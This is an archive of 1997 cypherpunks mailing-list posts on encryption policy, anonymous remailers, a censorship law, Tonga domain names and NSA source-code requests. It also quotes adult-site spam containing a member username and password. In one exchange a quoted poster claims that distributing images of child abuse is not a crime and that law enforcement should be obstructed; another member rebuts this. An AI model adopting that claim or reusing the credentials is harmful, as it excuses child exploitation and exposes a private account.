]paid) as "V.B.P. call for info (310) 258-0930." The cost of HotBOX is
]$9.95 per month, automatically charged to your credit card. We
]also offer trial memberships of one week at $2.99.
]
]All accounts will automatically renew at the end of the billing period
]at a rate of  $9.95 per month in order to assure you uninterrupted service.
]
]You can now access the HotBOX at:   http://hotbox.danni.com/hotbox
]If you have any comments or questions, don't hesitate to contact us:
]Hotbox@danni.com.
]
]Make sure you read the FAQ first before contacting us:
]http://hotbox.danni.com/faq.html
]
]*To cancel your account*, and stop all future billing: go to the following
]address and enter your name and your access codes.
]http://hotbox.danni.com/cancel.html
]
]
]Current HotBOX Members:
]If you have recently contacted us about being unable to access the HotBOX
]With your codes, this is a message to notify you that your codes have been
]reactivated. This does not mean that you are being billed again, unless you
]have allowed your membership to lapse and are now restarting it. Please call
]our office if you are unfamiliar with the details of your account.
]
]Danni's Hard Drive can be contacted at:
](310) 258-0930 from 9am to 6pm, every day, Pacific time.
]Our toll free number is (888) 878-7252
]Hotbox@danni.com for HotBOX problems
]madison@danni.com for merchandise problems
]danni@danni.com for fan mail and suggestions
]
]If you send us any e-mail regarding your account, *please* send us your
]Full name, username and password -- it will help us rectify any problems much
]more quickly.
]
]Enter your username & password in the *exact same* upper/lower case
]patterns shown here:
]
]username: antonio
]password: 9183tc
]
]Please note: your username might have been modified if another member
]had already selected it.
]Have Fun!
]Jannine and kris,
]HotBOX Administration
]kris@danni.com
]http://www.danni.com
]http://hotbox.danni.com
]

What is this stuff: http://hotbox.danni.com
username: antonio
password: 9183tc

Why are they spamming me with their passwords?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 14 Jul 1997 14:20:01 +0800
To: cypherpunks@toad.com
Subject: Keep Feds' nose out of the Net, by Sen. John Ashcroft
Message-ID: <Pine.GSO.3.95.970713225322.18129K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 13 Jul 1997 22:53:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Keep Feds' nose out of the Net, by Sen. John Ashcroft


>Copyright (c)  1997 Investors Business Daily, All rights reserved.
>Investor's Business Daily - Guest Editorial (07/11/97)
>Encryption: Keep Feds' Nose Out Of The Net
>By SEN. JOHN ASHCROFT
>
>     J. Edgar Hoover would have loved this. The Clinton administration wants
>government to be able to read international computer communications -
>financial transactions, personal e-mail and proprietary information sent
>abroad - all in the name of national security. 
>
>In a proposal that raises obvious concerns about Americans' privacy,
>President Clinton wants to give agencies the keys for decoding all exported
>U.S. software and Internet communications. Such a policy also would tamper
>with the competitive advantage that our U.S. software companies currently
>enjoy in the field of encryption technology.
>     Not only would Big Brother be looming over the shoulders of
>international cybersurfers, he also threatens to render our state-of-the-art
>computer software engineers obsolete and unemployed.
>     Granted, the Internet could be used to commit crimes, and advanced
>encryption could disguise such activity. However, we do not provide the
>government with phone jacks outside our homes for unlimited wiretaps. Why,
>then, should we grant government the Orwellian capability to listen at will
>and in real time to our communications across the Web?
>     The protections of the Fourth Amendment are clear. The right to
>protection from unlawful searches is an indivisible American value.
>     The president has proposed that American companies and computer users
>supply the government with decryption keys to high-level encryption programs.
>Yet European software producers are free to produce computer encryption codes
>of all levels of security without providing keys to any government authority.
>     Buyers of encryption software value security above all else. They will
>ultimately choose airtight encryption programs - not those for which the U.S.
>government maintains keys.
>     In spite of this obvious fact, the president is trying to foist his
>rigid policy on the exceptionally fluid and fast-paced computer industry.
>Furthermore, recent developments in decryption technology cast doubt on the
>wisdom of any government meddling in this industry.
>     Two weeks ago, the 56-bit algorithm government standard encryption code
>that protects most U.S. electronic financial transactions, from ATM cards to
>wire transfers, was broken by a low-powered 90-megahertz Pentium processor.
>     In 1977, when this code was first approved by the U.S. government as a
>standard, it was deemed unbreakable. And for good reason - there are 72
>quadrillion different combinations in a 56-bit code. However, with today's
>technology, these 72 quadrillion different combinations can each be tried
>-it's only a matter of time and determination.
>     Two days after this encryption code was broken, however, the Senate
>Commerce Committee voted, in accordance with administration policy, to force
>American software companies to perpetuate this already compromised 56-bit
>encryption system.
>     Meanwhile, 128- bit encryption software from European firms is available
>to every Web user. Interestingly, European firms can import this supersecure
>encryption technology (originally developed by Americans) to the U.S., but
>U.S. companies are forbidden by law from exporting these same programs to
>other countries.
>     So to move forward with the president's policy or the Commerce
>Committee's bill would be an act of folly, creating a cadre of government
>peeping Toms and causing severe damage to our vibrant software industries.
>Government would be caught in a perpetual game of catch-up with whiz-kid
>code-breakers and industry advances.
>     Majority Leader Trent Lott, R-Miss., has signaled his objection to both
>proposals. He and I would like to work to bring to the floor a version of the
>encryption legislation by Sen. Conrad Burns, R-Mont. Burns' bill closely
>resembles the popular House encryption bill sponsored by Rep. Bob Goodlatte,
>R- Va. Both measures would not require sharing of keys with the goverment.
>     In essence, these proposals would give U.S. encryption software
>manufacturers the freedom to compete on equal footing in the worldwide
>marketplace. They would set up a quasi-governmental board for the industry to
>decide encryption bit strength based on the current level of international
>technology.
>     U.S. companies are on the front line of online technologies - the value-
>added industries of the future.
>     The best policy for encryption technology is one that can rapidly react
>to breakthroughs in decoding capability and roll back encryption limits as
>needed. The Burns and Goodlatte proposals would accomplish this. In contrast,
>the Clinton administration's unnecessary and invasive interest in
>international e-mail is a wholly unhealthy precedent, especially given this
>administration's track record on FBI files and Internal Revenue Service
>snooping.
>     Every medium by which people communicate can be exploited by those with
>illegal or immoral intentions. Nevertheless, this is no reason to hand Big
>Brother the keys to unlock our e-mail diaries, open our ATM records or
>translate our international communications.##
>
>     John Ashcroft is a Republican U.S. senator from Missouri and a member of
>the Senate Commerce Committee.    







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 14 Jul 1997 22:20:25 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707141350.GAA02026@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 14 Jul 97 6:47:04 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
mix      mixmaster@remail.obscura.com     ..-.--*.-*.+  7:06:50  99.95%
weasel   config@weasel.owl.de             -+++.++--++   2:00:20  99.91%
squirrel mix@squirrel.owl.de              -+++.++--+++  2:00:46  99.86%
nym      config@nym.alias.net             +#*###+*#*#+     1:36  99.82%
winsock  winsock@rigel.cyberpass.net      ----.------+  5:42:48  99.78%
cyber    alias@alias.cyberpass.net        ++***# *****     8:13  99.71%
replay   remailer@replay.com               *****+*** *     4:23  99.25%
jam      remailer@cypherpunks.ca          **++.*+ ** *    13:03  99.10%
reno     middleman@cyberpass.net           -***+ **+ -  1:02:17  98.68%
hidden   remailer@hidden.net                            4:44:03 -14.70%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 14 Jul 1997 14:35:28 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707140617.IAA09395@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 14 Jul 1997 23:34:07 +0800
To: cypherpunks@toad.com
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <19970714034743.24942.qmail@zipcon.net>
Message-ID: <Fe6T0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> 
> The Good Doctor writes:
> 
> > What is this stuff: http://hotbox.danni.com
> > username: antonio
> > password: 9183tc
> 
> > Why are they spamming me with their passwords?
> 
> Apparently, they think you will give them a credit card number they can
> bill $9.95 a month to in perpetuity, just for the privelege of being able
> to click on some jpg files of chunky women with big hooters. 
> 
> Go figure. 
But lots of these used to be available for free on alt.binaries.pictures.
erotica the last time I looked (which was admittedly many years ago).

Conspiracy theory: do you think the spammers are flooding the "free"
sources of good stuff (such as usenet) to eliminate the competition,
so people would have to pay them for same?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Tue, 15 Jul 1997 08:41:37 +0800
To: cypherpunks@Algebra.COM
Subject: Making Imaginary Sex Illegal
Message-ID: <33CAC79B.6293@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/news/politics/story/5153.html

Making Imaginary Sex Illegal

by Ashley Craddock 
12:05pm  14.Jul.97.PDT Is there such a thing as child porn which doesn't
involve children? Logic would say no, but adherence to the rules of
reason has never been a hallmark of the United States Congress,
particularly when it comes to hot-button issues like child protection. 

So maybe it shouldn't be surprising that Congress has made it a
criminal offense to depict non-obscene, sexually explicit material
involving anyone who "appears to be" a minor. Maybe it shouldn't be
surprising that it made it a criminal offense to advertise materials in
any way that "conveys the impression" that minors will be sexually
depicted. 

But what about the fact that Congress explicitly designed the law to
make computer-simulated child porn illegal? 

"Besides the completely unconstitutional prohibition on using young
adult actors, we're basically talking about criminalizing
pseudo-pornography," says William Bennett Turner, a San Francisco
First Amendment specialist. "I laughed when I first read that Congress
was trying to make imaginary sex illegal. I never thought the law
would pass." 

But in a climate in which the US president can seriously tout the myth
that fashion photography kicked off a heroin craze among teenagers
jonesing to jump on the fastest, hippest bandwagon, the Child
Pornography Protection Act was a sure shot. And at the end of 1996,
the law quietly made it a felony to engineer, sell, or even posses
computer-simulated images of smutty kids, or sexually explicit
depictions of real baby-faced adults. 

The rationale behind the Child Porn Act, introduced by Senator Orrin
Hatch (R-Utah), is by and large unoriginal: Pedophiles can use child
pornography - or anything that looks like child porn - to seduce kids.
Moreover, child porn, whether it depicts real kids, childlike adults, or
computer simulations of kids, makes pedophiles a little too hot and
bothered for society's good. But the age of morphing added a new twist
to the old arguments. When perverts can whip up sexual turn-ons
from composites of photographs of children or even from computer
graphics programs, argued supporters, a new child-porn definition is
crucial. 

Whether those computer-age fears have any more basis in reality than
your average monster-in-the-closet didn't seem to matter one whit
to Congress. Testimony that the Department of Justice had "not come
across any pedophiles who have actually used the morphing technology"
didn't slow the bill's passage. Neither did testimony by another
witness, Jeffrey Dupilka of the US Postal Service, who voiced his
official opinion that pedophiles "probably" knew about morphing
technologies, and were "most likely" using them, but that he didn't
"know for sure." No more concrete evidence made its way into Congress
before the bill passed. 

Now, anyone in possession of child pornography could face up to five
years in prison - more if they're repeat offenders. Producers and
distributors could face up to 30 years in jail for repeat offenses. 

Alarmed by the Child Porn Act's ramifications for films that cast
young actors as sexually active kids (before your favorite porn flick,
think Lolita or Romeo and Juliet) the adult entertainment industry
responded almost immediately. In January, the Free Speech Coalition
filed a brief against Attorney General Janet Reno, contending that the
government had far overstepped the First Amendment. 

The acting judge decided against a trial. Both parties, he announced,
could file briefs in support of their position. So on Friday, the
parties
filed their arguments in the United States District Court in San
Francisco. 

As the case has evolved, the government has moved toward the stance
that it didn't really mean to outlaw sexually explicit images of young
adults who might look like kids. What it meant to do was protect the
world from explicit kiddie morphs. 

It's a ridiculous position, argues Turner. So along with the American
Civil Liberties Union, last week he filed an amicus brief in support of
a
Free Speech Coalition's suit. "There is a real difference between
touching children sexually and touching computer keys to create
images: the former is wrong in itself and within the power of
government to prohibit; but there is nothing inherently wrongful
about using either a computer or adults to create sexually explicit
images," the document contends. 

The court is scheduled to hear oral arguments from both sides 8
August.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 15 Jul 1997 04:26:58 +0800
To: paul@fatmans.demon.co.uk
Subject: law as enemy: was Re: Jim Bell reference
Message-ID: <199707141829.TAA03188@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Paul,

Ant>                 Makes me think the issue is the preservation of many
Ant> thousands of _unathorised_ taps.  What else could explain that viewpoint?

PB> Don`t cloud the issue: The simple fact is strong encryption can and will 
PB> obstruct law enforcement agencies in their "fight" against terrorism, 
PB> child pornography, drugs etc... good.

Strong widespread crypto will cut down on much crime in the form of
electronic theft, blackmail etc.  I expect some obstruction of law
enforcement, but not enough to outweigh the benefits.  Despite the
occasionally glaring failures of a legal system it is still overall
of use to the public.


Ant> Incidentally, I'm against terrorism, child molestation etc etc. 
Ant> I'm confident most other cypherpunks are too, so no nonsense please
Ant> about free crypto supporters being backers of [crime of the month].

PB> Once again, you fail to give adequate qualification to this statement, 
PB> what forms of terrorism are you against: one mans terrorist is another 
PB> mans freedom fighter.   Were the French resistance during WWII terrorists? 

Not everything is relative.  WW2 was a clearly recognised war, in
which France had been invaded.

PB> Would you then say their actions were wrong? As for child molestation, 
PB> this is a clear cut case, most libertarians follow the basic rule that a 
PB> crime has to be a direct act of agression, and infringe the rights of 
PB> another person, therefore child molestation clearly comes into this 
PB> category, distributing pictures of children being molested, raped, 
PB> buggered, tortured and killed is clearly not a crime. Please clarify your 
PB> position on this.

Such photography would suggest at least cooperation with
those you'd regard as criminals.

My position is toward the Trei/Sameer end of the scale and away from
the extreme anarchist views of you, TCM and Jim Bell.  Not that you 3 are
always wrong, but in the issue of 'law always enemy' I completely fail
to see where you get your ideas.  Sufficiently clarified ?

PB> Above are two examples of why strong cryptography is a good thing, law 
PB> enforcement should be routinely obstructed as often as possible.

Are you going to post your home address and holiday plans on the list
so we give you the chance to gloat over failing law enforcement ?

There's probably not much point in pursuing this discussion.


--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 08:14:17 +0800
To: cypherpunks@toad.com
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <Pine.LNX.3.93.970715042701.104A-100000@shirley>
Message-ID: <kTVu0D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Conspiracy theory: do you think the spammers are flooding the "free"
> > sources of good stuff (such as usenet) to eliminate the competition,
> > so people would have to pay them for same?
>
> Porn4porn infact confess that thats what thay are doing.

I am not surprised.

I wish there were a technical solution to make Usenet immune to such
sabotage wihout abridging free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 15 Jul 1997 02:06:00 +0800
To: cypherpunks@toad.com
Subject: Jerry Springer Crypto Special
Message-ID: <199707141747.TAA01314@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  Sitting at home this morning I decided to turn the TV to the Jerry
Springer show, assuming that, since his network was trying to promote
him as a News person, his show would no doubt be dealing with a serious
issue such as the future of the InterNet, encryption, censorship, etc.
  Instead, the show turned out to be titled, "I Cut Off My Manhood." It
was a delightfully artful mosaic about a guy who cut off his penis with
gardening shears, the queer stalker who had killed the penisless guy's
cat by throwing a recliner across the room, the stalker's lesbian friend
and two fairly average relatives of the self-mutilater who apparently 
were there to confirm for us that cutting off one's penis with a pair
of gardening shears is a bit over the edge, to say the best.

  Although I was disappointed in that encryption issues were not being
addressed on the show, I did get somewhat enlightened as to what we
can do to help spread strong encryption.
  The Jerry Springer audience got to see pictures of the mutilated penis
(I assume in close-up color glossies) while those of us at home had to
be content to watch the audience members groan and try not to throw up.
I immediately realized that if the show had been on WebTV and pictures
of the mutilated penis were available to home viewers in encrypted form,
that "Applied Cryptography" would soon be on the Best Seller lists
around the nation.

  Thinking about crypto issues from the standpoint of female body parts,
I realized that GAK and Key Recovery are likely to become a part of our
everyday reality because Silicon Valley Crypto has the same allure as
Silicon Breasts.
  We live in a bottle-fed society that has learned from infancy to
accept substitutes for the real thing. From topless bars to the beach,
we are willing to settle for the illusion that matches the advertised
product our minds have been sold, rather than accept the forms that
exist in reality and take the time and effort to find ones that truly
suit our needs and desires.

  Is a society that eats food that sometimes has less nutritional value
than the package it comes in, are the masses going to demand "the real
thing" in a crypto product, or will they settle for a watered down
product which "meets government standards" and comes in a pretty box?
  The masses don't have the time or expertise to test the nutritional
value of their food or the security of their crypto. They depend on
the government, corporations and the press to provide them with the
products and information to make a rational choice as to what truly
meets their needs.
  The government's main interest is power over the citizens; the
corporation's main interest is profiting from the citizens; the press'
main interest is pandering to government and corporations enough to
be kept from getting cut "out of the loop" of money and power.
  The only hope the masses have of getting anything resembling a square
deal in regard to the products and information they are fed is for
there to be enough individuals within the government, corporations and
the press who are willing to resist the mindless, self-perpetuating
evolution of these non-human entities, and make an effort to provide
products and information which have real value based on the goals which
they are designed and advertised to meet.

  There was a discussion on the list as to whether the cypherpunks who
have "gone corporate" are a blessing or a curse to the spread of strong
crypto. I think that the answer lies in the individual and in the final
product of their efforts.
  Perhaps crypto needs Colonel Tom Parker to promote it, with Barnum and
Baily bringing the Silicon Rockettes to town to give away pictures of
of a mutilated penis which can only be viewed using a strong crypto
product. ("As seen on the Jerry Springer show!")

  The Dark Forces are making a concerted bid to set the direction and
the tone of crypto debate and crypto development in a manner which will
lead to the negation of the constitutional right to have our freedom 
and our privacy unfettered by government intrusion.
  It is not government, nor corporations, nor the press, who ultimately
decide whether our freedom and privacy will be maintained or whether it
will be compromised. It is the individuals who make a decision whether
to go along with the abrogation of our rights in their own individual
self-interest, or whether they will speak out and/or resist those who
put the goals of organizations over the interests of the people.

  Our government and our society are being directed by manipulation of
the same mob mentality that is in evidence on the morning talk shows.
The voice of reason gets shouted down unless there are enough people
who realize that the answer to noise is more noise.
  The greater the position and authority of an individual, the more
noise they are able to make to counter the efforts of those who are
attempting to work the mob into a frenzy for their own aims. Thus
the greater is their responsibility to act in the long-term interest
of freedom. At the same time, unless there are people of conscience
at every level of government, corporation and society who are willing
to take a personal stand, and to support those in higher positions
who take a stand, then freedom is doomed.

  There is a Swiss bank security guard who discovered bank records
about to be shredded which detailed the accounts of Jews who were
victims of the Holocaust. He chose to resist "going along" with the
government laws, corporate rules, and societal taboos against making
a decision based on one's own conscience, and he "stole" the records
in order to prevent them from being destroyed.
  He was threatened with death, prosecution, had to leave his home
and country behind and faces an uncertain future. 
  There is a cost to resisting the fascism of organizations and of
society itself, and the less that resistance is spread among us,
then the greater the cost that each of us has to bear.

  Resist. Make noise.
  The freedom you save could be your own.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 15 Jul 1997 11:37:16 +0800
To: cypherpunks@toad.com
Subject: Register *any* domain name
Message-ID: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The Kingdom of Tonga has discovered a new stream of revenue. The lucrative
domain name system. Say you want to get a domain name involving the words
"Microsoft" or "Kodak". Or any other trademarked name. Internic won't help
you. What to do?

Never fear. The Kingdom of Tonga allows you to register any domain name.
Trademarked or not. Their fully automated domain registration system,
operating out of their San Francisco consulate, can be reached at
http://www.tonic.to

You can pay the registration fees online using their 128 bit SSL server.

Need more than a domain name? Such as one of those hard to come by
geostationary satellite orbits handed out by the ITU? TongaSat is leasing
theirs! http://www.netstorage.com/kami/tongasat/index.html

I just love free enterprise,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 15 Jul 1997 13:01:01 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Register *any* domain name
In-Reply-To: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970714212102.02fa4318@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:26 PM 7/14/97 -0700, Lucky Green wrote:
>Never fear. The Kingdom of Tonga allows you to register any domain name.
>Trademarked or not. Their fully automated domain registration system,
>operating out of their San Francisco consulate, can be reached at
>http://www.tonic.to
..
>I just love free enterprise,

"Kingdom .... free enterprise" -- hmmm  :-)
With an automated system, you can probably _register_ any name,
but you might have trouble keeping it registered.
Don't know how they'd feel about obscene names, or
"The-King-Is-A-Fink.to" or "Return-Minerva-Now.to"....

(The Republic of Minerva was a libertarianish new country
started in the 70s on the previously unclaimed Minerva Shoals,
about 200 miles from Fiji and 450 miles from Tonga.
The founders built up the reef to above the 1 foot above high tide
level that the UN counts as "land", and were building a harbor.
After they'd been open about six months, Tonga invaded
and stole the place.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 15 Jul 1997 13:05:44 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Register *any* domain name
In-Reply-To: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970714214212.006c0634@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:21 PM 7/14/97 -0700, Bill Stewart wrote:
>At 08:26 PM 7/14/97 -0700, Lucky Green wrote:
>>Never fear. The Kingdom of Tonga allows you to register any domain name.
>>Trademarked or not. Their fully automated domain registration system,
>>operating out of their San Francisco consulate, can be reached at
>>http://www.tonic.to
>..
>>I just love free enterprise,
>
>"Kingdom .... free enterprise" -- hmmm  :-)
>With an automated system, you can probably _register_ any name,
>but you might have trouble keeping it registered.
>Don't know how they'd feel about obscene names, or
>"The-King-Is-A-Fink.to" or "Return-Minerva-Now.to"....

They might object and revoke the domain. But they make it clear in their
FAQ that they couldn't care less about trademarks.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 15 Jul 1997 14:56:13 +0800
To: Stone Monkey <sm@nym.alias.net>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <19970712085043.11461.qmail@nym.alias.net>
Message-ID: <3.0.2.32.19970714215422.02fa6660@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>>> the Russian networking company in which Sun has a 10 percent stake, to
>>> turn over the source code of its SunScreen SKIP E+.
>>Why should the US government get access to the source code of foreign
>>product being imported to the US?

With PGP, they'd get the source code because users insist
that it be available so they know whether they can trust it.
With some commercial products, they'd have to pay for a source license...

At 08:50 AM 7/12/97 -0000, Stone Monkey wrote:
>To me the announcement implied that the NSA wanted to compare Sun's
>and Elvis+'s implementations, to verify that they are actually different.
>To check that Sun didn't simply smuggle the code out and launder it 
>through Elvis+.  They're not looking at imports (why would Elvis+'s
>code be imported?  It's already available domestically from Sun),
>they're looking at Sun's well-publicised end-run around the crypto chilling
>effect, to see if Sun perhaps cut any corners.

In America, the standard Constitutionally-approved method for law enforcers 
to get access to private papers is to get a court to issue a warrant 
naming the probable cause to suspect that a crime has been committed 
and the particular items to be seized.  If the FBI wants to accuse Sun
of export violations, they can do it.  Last I heard, the NSA's
job didn't include law enforcement - just building tools to protect 
government communications, and eavesdropping on foreigners,
and occasionally providing technical expertise to other government agencies.

> But it's more fun to rant about the paranoid thrashings of a government
> bogeyman than it is to attempt to understand the actions of the NSA,
> which is not staffed by stupid people.

[BOOGA BOOGA BOOGA!]  Understanding their actions doesn't mean approving.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 15 Jul 1997 07:35:38 +0800
To: cypherpunks@toad.com
Subject: Campingsport Amsterdam
Message-ID: <19970714222102.32274.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain






For those planning to attend HIP97, there is already a
cypherpunk party coming from the West coast.  Some details
can be seen on the hip website http://www.hip97.nl

People making other arrangements may be interested in this
tidbit from the NL tourist board.



X-From: I.Princen@inter.NL.net Mon Jul 14 12:33:37 1997
X-Sender: iprincen@solair1.inter.NL.net
Date: Mon, 14 Jul 1997 14:32:09 +0200
From: Ingrid Princen <I.Princen@inter.NL.net>
Subject: Re: Camping arrangements

Good afternoon,

Please contact:

Campingsport Amsterdam
Jan van Galenstraat 271
1056 BZ Amsterdam
tel.: 020-6128911
fax : 020-6184509

Kind regards,

Ingrid Princen
Netherlands Board of Tourism

At 08:00 PM 7/9/97 -0000, you wrote:
>Dear Sir,
>
